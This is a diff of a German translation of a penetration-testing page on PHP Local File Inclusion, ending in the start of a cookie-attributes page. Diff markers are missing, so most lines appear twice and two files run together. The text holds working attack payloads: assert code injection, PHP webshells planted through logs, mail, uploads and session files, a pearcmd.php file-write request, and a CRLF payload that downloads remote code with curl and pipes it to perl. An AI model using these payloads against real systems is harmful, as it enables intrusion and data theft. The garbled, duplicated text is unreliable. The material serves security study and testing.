- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Schreibt in den Speicher oder in eine temporäre Datei (nicht sicher, wie das in einem file inclusion attack nützlich sein kann)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Zugriff auf das lokale Dateisystem
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Zugriff auf HTTP(s)-URLs
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Zugriff auf FTP(s)-URLs
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressionsströme
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Pfadnamen finden, die dem Muster entsprechen (gibt nichts Druckbares zurück, also hier nicht wirklich nützlich)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Kompressions-Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Findet Pfadnamen, die einem Muster entsprechen (gibt keine druckbaren Ergebnisse zurück, daher hier nicht wirklich nützlich)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio-Streams (nicht nützlich, um beliebige Dateien zu lesen)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audiostreams (nicht nützlich, um arbitrary files zu lesen)
## LFI über PHPs 'assert'
## LFI via PHP's 'assert'
Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn es um die Funktion 'assert' geht, die Code innerhalb von Strings ausführen kann. Dies ist besonders problematisch, wenn Eingaben mit Verzeichnis-Traversierungszeichen wie ".." überprüft, aber nicht ordnungsgemäß bereinigt werden.
Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn die Funktion 'assert' verwendet wird, da diese Code innerhalb von Strings ausführen kann. Das ist besonders problematisch, wenn Eingaben mit directory traversal-Zeichen wie ".." geprüft, aber nicht richtig bereinigt werden.
Zum Beispiel könnte PHP-Code so gestaltet sein, dass er Verzeichnis-Traversierung verhindert:
Zum Beispiel könnte PHP-Code so gestaltet sein, um directory traversal zu verhindern:
```bash
assert("strpos('$file', '..') === false") or die("");
```
Während dies darauf abzielt, Traversierung zu stoppen, schafft es unbeabsichtigt einen Vektor für Code-Injektion. Um dies auszunutzen, um den Inhalt von Dateien zu lesen, könnte ein Angreifer Folgendes verwenden:
Während dies darauf abzielt, traversal zu verhindern, schafft es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
Ebenso könnte man zur Ausführung beliebiger Systembefehle Folgendes verwenden:
Ähnlich kann man zum Ausführen beliebiger Systembefehle Folgendes verwenden:
```plaintext
' and die(system("id")) or '
```
Es ist wichtig, diese **Payloads URL-zu kodieren**.
Es ist wichtig, **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Diese Technik ist relevant in Fällen, in denen Sie den **Dateipfad** einer **PHP-Funktion**, die **auf eine Datei zugreift**, **steuern**, aber den Inhalt der Datei nicht sehen (wie ein einfacher Aufruf von **`file()`**) und der Inhalt nicht angezeigt wird.
> Diese Technik ist relevant in Fällen, in denen du den **file path** einer **PHP function** **control**ierst, die auf eine **file** **access**iert, deren Inhalt du aber nicht sehen wirst (z. B. ein einfacher Aufruf von **`file()`**), der Inhalt jedoch nicht angezeigt wird.
In [**diesem unglaublichen Beitrag**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blinder Pfad-Traversal über einen PHP-Filter missbraucht werden kann, um den **Inhalt einer Datei über ein Fehlerorakel zu exfiltrieren**.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wird erklärt, wie ein blind path traversal über PHP-Filter ausgenutzt werden kann, um **exfiltrate the content of a file via an error oracle**.
Zusammenfassend verwendet die Technik die **"UCS-4LE" Kodierung**, um den Inhalt einer Datei so **groß** zu machen, dass die **PHP-Funktion**, die die Datei öffnet, einen **Fehler** auslöst.
Zusammengefasst verwendet die Technik die **"UCS-4LE" encoding**, um den Inhalt einer Datei so groß zu machen, dass die PHP-Funktion, die die Datei öffnet, einen **error** auslöst.
Dann wird der Filter **`dechunk`** verwendet, um das erste Zeichen zu leaken, zusammen mit anderen wie **base64** oder **rot13**, und schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** verwendet, um **andere Zeichen am Anfang zu platzieren und sie zu leaken**.
Um das erste Zeichen zu leak wird der Filter **`dechunk`** zusammen mit anderen wie **base64** oder **rot13** verwendet; schließlich werden die Filter **convert.iconv.UCS-4.UCS-4LE** und **convert.iconv.UTF16.UTF-16BE** eingesetzt, um andere Zeichen am Anfang zu platzieren und diese zu leak.
**Funktionen, die anfällig sein könnten**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (nur Ziel nur lesend mit diesem)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Funktionen, die möglicherweise verwundbar sind: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Für technische Details siehe den genannten Beitrag!
Für die technischen Details siehe den erwähnten Beitrag!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
Wenn serverseitiger Code, der Dateien aufnimmt/hinauflädt, den Zielpfad unter Verwendung von benutzergesteuerten Daten (z. B. einem Dateinamen oder einer URL) ohne Kanonisierung und Validierung erstellt, können `..`-Segmente und absolute Pfade das beabsichtigte Verzeichnis verlassen und einen beliebigen Dateischreibvorgang verursachen. Wenn Sie die Payload in einem web-exponierten Verzeichnis platzieren können, erhalten Sie normalerweise eine nicht authentifizierte RCE, indem Sie eine Webshell ablegen.
Wenn serverseitiger Code, der Dateien entgegennimmt/hochlädt, den Zielpfad mithilfe von nutzerkontrollierten Daten (z. B. einem Dateinamen oder einer URL) zusammensetzt, ohne zu kanonisieren und zu validieren, können `..`-Segmente und absolute Pfade aus dem vorgesehenen Verzeichnis ausbrechen und einen beliebigen Datei-Write verursachen. Wenn du die Payload in einem web-exposed directory ablegen kannst, erhältst du in der Regel unauthenticated RCE, indem du eine Webshell ablegst.
Typischer Exploit-Workflow:
- Identifizieren Sie eine Schreibprimitive in einem Endpunkt oder Hintergrunddienst, der einen Pfad/Dateinamen akzeptiert und Inhalte auf die Festplatte schreibt (z. B. nachrichtengetriebene Aufnahme, XML/JSON-Befehlsverarbeiter, ZIP-Extractor usw.).
- Bestimmen Sie web-exponierte Verzeichnisse. Häufige Beispiele:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/``shell.jsp` ablegen
- IIS: `C:\inetpub\wwwroot\``shell.aspx` ablegen
- Erstellen Sie einen Traversal-Pfad, der aus dem beabsichtigten Speicherverzeichnis in das Webroot ausbricht, und fügen Sie den Inhalt Ihrer Webshell hinzu.
- Greifen Sie auf die abgelegte Payload zu und führen Sie Befehle aus.
Typischer Exploit-Ablauf:
- Identifiziere ein write primitive in einem Endpoint oder Background-Worker, das einen Pfad/Dateinamen akzeptiert und Inhalt auf die Festplatte schreibt (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Bestimme web-exposed directories. Häufige Beispiele:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/`drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\`drop `shell.aspx`
- Erzeuge einen Traversal-Pfad, der aus dem vorgesehenen Speicherverzeichnis in das webroot ausbricht, und füge deinen Webshell-Inhalt ein.
- Rufe die abgelegte Payload im Browser auf und führe Befehle aus.
Hinweise:
- Der anfällige Dienst, der den Schreibvorgang durchführt, kann auf einem Nicht-HTTP-Port (z. B. einem JMF XML-Listener auf TCP 4004) lauschen. Das Hauptwebportal (anderer Port) wird später Ihre Payload bereitstellen.
- In Java-Stacks werden diese Dateischreibvorgänge oft mit einfacher `File`/`Paths`-Verkettung implementiert. Mangelnde Kanonisierung/Allow-Listing ist der Kernfehler.
- Der verwundbare Service, der den Write durchführt, kann auf einem non-HTTP port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Haupt-Web-Portal (anderer Port) wird später deine Payload servieren.
- In Java-Stacks werden diese Datei-Schreibvorgänge häufig mit einfacher `File`/`Paths`-Konkatenation implementiert. Fehlende Kanonisierung/Allow-Listing ist der Kernfehler.
Generisches XML/JMF-Stilbeispiel (Produkt-Schemas variieren der DOCTYPE-/Body-Wrapper ist für das Traversal irrelevant):
Generic XML/JMF-style example (product schemas vary the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
@ -465,26 +466,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Härtung, die diese Klasse von Bugs besiegt:
- Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Nachkomme eines erlaubten Basisverzeichnisses ist.
- Jeden Pfad ablehnen, der `..`, absolute Wurzeln oder Laufwerksbuchstaben enthält; generierte Dateinamen bevorzugen.
- Den Schreiber als Konto mit niedrigen Rechten ausführen und Schreibverzeichnisse von den bereitgestellten Wurzeln trennen.
Hardening that defeats this class of bugs:
- Auf einen kanonischen Pfad auflösen und durchsetzen, dass er ein Nachfahre eines allow-listed Basisverzeichnisses ist.
- Pfade ablehnen, die `..`, absolute Roots oder Laufwerksbuchstaben enthalten; bevorzugt generierte Dateinamen.
- Den Writer als ein niedrig privilegiertes Konto ausführen und Schreibverzeichnisse von den bereitgestellten Root-Verzeichnissen trennen.
## Remote File Inclusion
Wie zuvor erklärt, [**folgen Sie diesem Link**](#remote-file-inclusion).
Explained previously, [**follow this link**](#remote-file-inclusion).
### Über Apache/Nginx-Protokolldatei
### Via Apache/Nginx log file
Wenn der Apache- oder Nginx-Server **anfällig für LFI** innerhalb der Include-Funktion ist, könnten Sie versuchen, auf **`/var/log/apache2/access.log` oder `/var/log/nginx/access.log`** zuzugreifen, indem Sie im **User-Agent** oder in einem **GET-Parameter** eine PHP-Shell wie **`<?php system($_GET['c']); ?>`** setzen und diese Datei einfügen.
Wenn der Apache- oder Nginx-Server innerhalb der include-Funktion **anfällig für LFI** ist, kannst du versuchen, auf **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** zuzugreifen, in den **user agent** oder in einen **GET parameter** eine php shell wie **`<?php system($_GET['c']); ?>`** zu setzen und diese Datei einzubinden
> [!WARNING]
> Beachten Sie, dass **wenn Sie doppelte Anführungszeichen** für die Shell anstelle von **einfachen Anführungszeichen** verwenden, die doppelten Anführungszeichen für den String "_**quote;**_" geändert werden, **PHP einen Fehler auslösen wird** und **nichts anderes ausgeführt wird**.
> Beachte, dass **wenn du doppelte Anführungszeichen** für die Shell anstelle von **einfacher Anführungszeichen** verwendest, die doppelten Anführungszeichen in den String "_**quote;**_" umgewandelt werden, **PHP dort einen Fehler werfen wird** und **nichts weiter ausgeführt wird**.
>
> Stellen Sie außerdem sicher, dass Sie **die Payload korrekt schreiben**, da PHP jedes Mal einen Fehler ausgibt, wenn es versucht, die Protokolldatei zu laden, und Sie keine zweite Gelegenheit haben werden.
> Stelle außerdem sicher, dass du **den payload korrekt schreibst** oder PHP bei jedem Versuch, die Logdatei zu laden, einen Fehler auslösen wird und du keine zweite Gelegenheit haben wirst.
Dies könnte auch in anderen Protokollen durchgeführt werden, aber **seien Sie vorsichtig,** der Code in den Protokollen könnte URL-kodiert sein und dies könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Protokollen dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.\
Andere mögliche Protokollpfade:
Das kann auch in anderen Logs gemacht werden, aber **sei vorsichtig,** der Code in den Logs kann URL-codiert sein und das könnte die Shell zerstören. Der Header **authorisation "basic"** enthält "user:password" in Base64 und wird in den Logs decodiert. Die PHPShell könnte innerhalb dieses Headers eingefügt werden.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -496,46 +497,46 @@ Andere mögliche Protokollpfade:
/var/log/nginx/error.log
/var/log/httpd/error_log
```
Fuzzing-Wortliste: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via E-Mail
### Per E-Mail
**Senden Sie eine E-Mail** an ein internes Konto (user@localhost), die Ihre PHP-Nutzlast wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuchen Sie, die E-Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** einzuschließen.
**Send a mail** an ein internes Konto (user@localhost), das deinen PHP payload wie `<?php echo system($_REQUEST["cmd"]); ?>` enthält, und versuche, die Mail des Benutzers mit einem Pfad wie **`/var/mail/<USERNAME>`** oder **`/var/spool/mail/<USERNAME>`** zu include.
### Via /proc/\*/fd/\*
### Über /proc/*/fd/*
1. Laden Sie viele Shells hoch (zum Beispiel: 100)
2. Schließen Sie [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) ein, wobei $PID = PID des Prozesses (kann brute-forced werden) und $FD der Dateideskriptor (kann ebenfalls brute-forced werden)
1. Lade viele shells hoch (zum Beispiel: 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), wobei $PID die PID des Prozesses ist (kann per Brute-Force ermittelt werden) und $FD der file descriptor ist (kann ebenfalls per Brute-Force ermittelt werden)
### Via /proc/self/environ
### Über /proc/self/environ
Wie eine Protokolldatei, senden Sie die Nutzlast im User-Agent, sie wird in der Datei /proc/self/environ reflektiert.
Ähnlich wie bei einer Logdatei: sende den payload im User-Agent; er wird in der /proc/self/environ-Datei reflektiert.
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### Via upload
Wenn Sie eine Datei hochladen können, injizieren Sie einfach die Shell-Nutzlast darin (z.B.: `<?php system($_GET['c']); ?>`).
Wenn du eine Datei uploaden kannst, injiziere einfach die shell payload darin (z. B.: `<?php system($_GET['c']); ?>`).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Um die Datei lesbar zu halten, ist es am besten, in die Metadaten der Bilder/doc/pdf zu injizieren.
Um die Datei lesbar zu halten, ist es am besten, den Inhalt in die Metadaten von Bildern/Dokumenten/PDFs einzubetten
### Über ZIP-Datei-Upload
Laden Sie eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und greifen Sie zu:
Lade eine ZIP-Datei hoch, die eine komprimierte PHP-Shell enthält, und greife darauf zu:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
### Via PHP-Sitzungen
### Über PHP Sessions
Überprüfen Sie, ob die Website PHP-Sitzungen (PHPSESSID) verwendet.
Prüfe, ob die Website PHP Session (PHPSESSID) verwendet
```
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP werden diese Sitzungen in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert.
In PHP werden diese Sessions in _/var/lib/php5/sess\\_\[PHPSESSID]\_ Dateien gespeichert.
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@ -544,24 +545,24 @@ Setze das Cookie auf `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Verwenden Sie die LFI, um die PHP-Sitzungsdatei einzuschließen.
Verwende LFI, um die PHP-Session-Datei einzubinden.
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
### Über ssh
Wenn ssh aktiv ist, überprüfen Sie, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuchen Sie, auf **\<HOME>/.ssh/id_rsa** zuzugreifen.
Wenn ssh aktiv ist, überprüfe, welcher Benutzer verwendet wird (/proc/self/status & /etc/passwd) und versuche, auf **\<HOME>/.ssh/id_rsa** zuzugreifen
### **Via** **vsftpd** _**logs**_
### **Über** **vsftpd** _**Protokolle**_
Die Protokolle für den FTP-Server vsftpd befinden sich in _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI) Schwachstelle vorhanden ist und der Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
Die Logs für den FTP-Server vsftpd befinden sich unter _**/var/log/vsftpd.log**_. In dem Szenario, in dem eine Local File Inclusion (LFI)-Schwachstelle existiert und Zugriff auf einen exponierten vsftpd-Server möglich ist, können die folgenden Schritte in Betracht gezogen werden:
1. Injizieren Sie eine PHP-Nutzlast in das Benutzernamensfeld während des Anmeldevorgangs.
2. Nach der Injektion nutzen Sie die LFI, um die Serverprotokolle von _**/var/log/vsftpd.log**_ abzurufen.
1. Injiziere ein PHP payload in das Benutzername-Feld während des Login-Prozesses.
2. Nach der Injection nutze die LFI, um die Server-Logs von _**/var/log/vsftpd.log**_ auszulesen.
### Via php base64 filter (using base64)
### Über php base64 filter (using base64)
Wie in [diesem](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) Artikel gezeigt, ignoriert der PHP base64-Filter einfach Nicht-base64. Sie können dies verwenden, um die Überprüfung der Dateierweiterung zu umgehen: Wenn Sie base64 bereitstellen, das mit ".php" endet, wird das "." einfach ignoriert und "php" an das base64 angehängt. Hier ist ein Beispiel für eine Nutzlast:
Wie in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article gezeigt, ignoriert der PHP base64 filter einfach Non-base64. Du kannst das nutzen, um die Dateiendungsprüfung zu umgehen: wenn du base64 angibst, das mit ".php" endet, würde er einfach den "." ignorieren und "php" an das base64 anhängen. Hier ist ein Beispiel-Payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
@ -569,7 +570,8 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (no file needed)
Dieser [**Bericht**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass Sie **php-Filter verwenden können, um beliebige Inhalte** als Ausgabe zu generieren. Das bedeutet im Grunde, dass Sie **beliebigen php-Code** für die Include **generieren können, ohne** ihn in eine Datei schreiben zu müssen.
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) erklärt, dass du **php filters** verwenden kannst, um beliebige Inhalte als Ausgabe zu generieren. Das bedeutet im Wesentlichen, dass du beliebigen **php code** für das **include** erzeugen kannst, ohne ihn in eine Datei schreiben zu müssen.
{{#ref}}
lfi2rce-via-php-filters.md
@ -577,7 +579,8 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Laden Sie** eine Datei hoch, die als **temporär** in `/tmp` gespeichert wird, und lösen Sie dann in der **gleichen Anfrage** einen **Segmentierungsfehler** aus. Die **temporäre Datei wird dann nicht gelöscht** und Sie können nach ihr suchen.
Lade eine Datei hoch, die temporär in `/tmp` gespeichert wird, dann löse in derselben Anfrage einen **segmentation fault** aus — die temporäre Datei wird dann nicht gelöscht und du kannst danach suchen.
{{#ref}}
lfi2rce-via-segmentation-fault.md
@ -585,7 +588,8 @@ lfi2rce-via-segmentation-fault.md
### Via Nginx temp file storage
Wenn Sie eine **Local File Inclusion** gefunden haben und **Nginx** vor PHP läuft, könnten Sie mit der folgenden Technik RCE erhalten:
Wenn du eine **Local File Inclusion** gefunden hast und **Nginx** vor PHP läuft, könntest du mit der folgenden Technik RCE erlangen:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -593,7 +597,8 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Wenn Sie eine **Local File Inclusion** gefunden haben, auch wenn Sie **keine Sitzung** haben und `session.auto_start` auf `Off` steht. Wenn Sie den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten bereitstellen, wird PHP **die Sitzung für Sie aktivieren**. Sie könnten dies ausnutzen, um RCE zu erhalten:
Wenn du eine **Local File Inclusion** gefunden hast, selbst wenn du **keine Session** hast und `session.auto_start` auf `Off` gesetzt ist. Wenn du den **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST**-Daten angibst, wird PHP die Session für dich aktivieren. Du könntest das missbrauchen, um RCE zu erhalten:
{{#ref}}
via-php_session_upload_progress.md
@ -601,7 +606,8 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
Wenn Sie eine **Local File Inclusion** gefunden haben und der Server unter **Windows** läuft, könnten Sie RCE erhalten:
Wenn du eine **Local File Inclusion** gefunden hast und der Server unter **Windows** läuft, könntest du RCE erlangen:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -609,61 +615,64 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
Wie [**in diesem Beitrag erklärt**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), existiert das Skript `/usr/local/lib/phppearcmd.php` standardmäßig in PHP-Docker-Images. Darüber hinaus ist es möglich, Argumente über die URL an das Skript zu übergeben, da angegeben ist, dass, wenn ein URL-Parameter kein `=` hat, er als Argument verwendet werden sollte.
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), das Script `/usr/local/lib/phppearcmd.php` existiert standardmäßig in php docker images. Außerdem ist es möglich, dem Script Argumente über die URL zu übergeben, da dort angegeben ist, dass ein URL-Parameter ohne `=` als Argument verwendet werden soll. Siehe auch [watchTowrs write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) und [Orange Tsais “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
Die folgende Anfrage erstellt eine Datei in `/tmp/hello.php` mit dem Inhalt `<?=phpinfo()?>`:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Der folgende Missbrauch einer CRLF-Sicherheitsanfälligkeit ermöglicht RCE (von [**hier**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
Das Folgende missbraucht eine CRLF vuln, um RCE zu erhalten (aus [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
### Via phpinfo() (file_uploads = on)
### Über phpinfo() (file_uploads = on)
Wenn Sie eine **Local File Inclusion** gefunden haben und eine Datei **phpinfo()** mit file_uploads = on exponiert, können Sie RCE erhalten:
Wenn du eine **Local File Inclusion** gefunden hast und eine Datei, die **phpinfo()** mit file_uploads = on offenlegt, kannst du RCE erhalten:
{{#ref}}
lfi2rce-via-phpinfo.md
{{#endref}}
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
### Über compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Wenn Sie eine **Local File Inclusion** gefunden haben und Sie **den Pfad** der temporären Datei **exfiltrieren können**, ABER der **Server** **überprüft**, ob die **einzuschließende Datei PHP-Markierungen hat**, können Sie versuchen, diese **Überprüfung zu umgehen** mit dieser **Race Condition**:
Wenn du eine **Local File Inclusion** gefunden hast und du den Pfad der temporären Datei exfiltrieren kannst, ABER der **server** überprüft, ob die einzubindende Datei PHP-Markierungen hat, kannst du versuchen, diese Überprüfung mit dieser **Race Condition** zu umgehen:
{{#ref}}
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
{{#endref}}
### Via eternal waiting + bruteforce
### Über eternal waiting + bruteforce
Wenn Sie die LFI ausnutzen können, um **temporäre Dateien hochzuladen** und den Server die PHP-Ausführung **hängen** lassen, könnten Sie dann **Stunden lang Dateinamen brute-forcen**, um die temporäre Datei zu finden:
Wenn du das LFI missbrauchen kannst, um **temporäre Dateien hochzuladen** und den **server** die PHP-Ausführung **hängen** zu lassen, könntest du dann über Stunden Dateinamen per bruteforce erraten, um die temporäre Datei zu finden:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
### To Fatal Error
### Zu Fatal Error
Wenn Sie eine der Dateien `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` einfügen. (Sie müssen dieselbe Datei 2 Mal einfügen, um diesen Fehler auszulösen).
Wenn du eine der Dateien `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` einbindest. (Du musst dieselbe Datei 2 Mal einbinden, um diesen Fehler auszulösen).
**Ich weiß nicht, wie das nützlich ist, aber es könnte sein.**\
_Es sei denn, Sie verursachen einen PHP Fatal Error, werden die hochgeladenen PHP-Temporärdateien gelöscht._
**Ich weiß nicht, wie das nützlich sein soll, aber es könnte es sein.**\
_Selbst wenn du einen PHP Fatal Error verursachst, werden hochgeladene PHP-Temporärdateien gelöscht._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## Referenzen
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
- [watchTowr We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
{{#file}}
EN-Local-File-Inclusion-1.pdf

View File

@ -4,150 +4,160 @@
## Cookie-Attribute
Cookies verfügen über mehrere Attribute, die ihr Verhalten im Browser des Benutzers steuern. Hier ist eine Übersicht über diese Attribute in einer passiveren Stimme:
Cookies verfügen über mehrere Attribute, die ihr Verhalten im Browser des Nutzers steuern. Hier eine Übersicht dieser Attribute in eher sachlichem Ton:
### Expires und Max-Age
Das Ablaufdatum eines Cookies wird durch das Attribut `Expires` bestimmt. Im Gegensatz dazu definiert das Attribut `Max-age` die Zeit in Sekunden, bis ein Cookie gelöscht wird. **Wählen Sie `Max-age`, da es modernere Praktiken widerspiegelt.**
Das Ablaufdatum eines Cookies wird durch das Attribut `Expires` bestimmt. Das Attribut `Max-age` definiert hingegen die Anzahl der Sekunden, bis ein Cookie gelöscht wird. **Bevorzuge `Max-age`, da es moderneren Praktiken entspricht.**
### Domain
Die Hosts, die ein Cookie empfangen sollen, werden durch das Attribut `Domain` festgelegt. Standardmäßig ist dies auf den Host eingestellt, der das Cookie ausgegeben hat, ohne seine Subdomains einzuschließen. Wenn das Attribut `Domain` jedoch ausdrücklich festgelegt wird, umfasst es auch Subdomains. Dies macht die Spezifikation des Attributs `Domain` zu einer weniger restriktiven Option, die nützlich ist, wenn das Teilen von Cookies über Subdomains erforderlich ist. Zum Beispiel macht die Einstellung `Domain=mozilla.org` Cookies auf seinen Subdomains wie `developer.mozilla.org` zugänglich.
Die Hosts, die ein Cookie erhalten sollen, werden durch das Attribut `Domain` festgelegt. Standardmäßig entspricht dies dem Host, der das Cookie gesetzt hat, ohne dessen Subdomains. Wird das `Domain`-Attribut jedoch explizit gesetzt, umfasst es auch Subdomains. Dadurch ist das Setzen von `Domain` weniger restriktiv und nützlich, wenn Cookies zwischen Subdomains geteilt werden sollen. Beispielsweise macht `Domain=mozilla.org` Cookies auf Subdomains wie `developer.mozilla.org` zugänglich.
### Path
Ein spezifischer URL-Pfad, der in der angeforderten URL vorhanden sein muss, damit der `Cookie`-Header gesendet wird, wird durch das Attribut `Path` angezeigt. Dieses Attribut betrachtet das Zeichen `/` als Verzeichnistrenner, was Übereinstimmungen in Unterverzeichnissen ermöglicht.
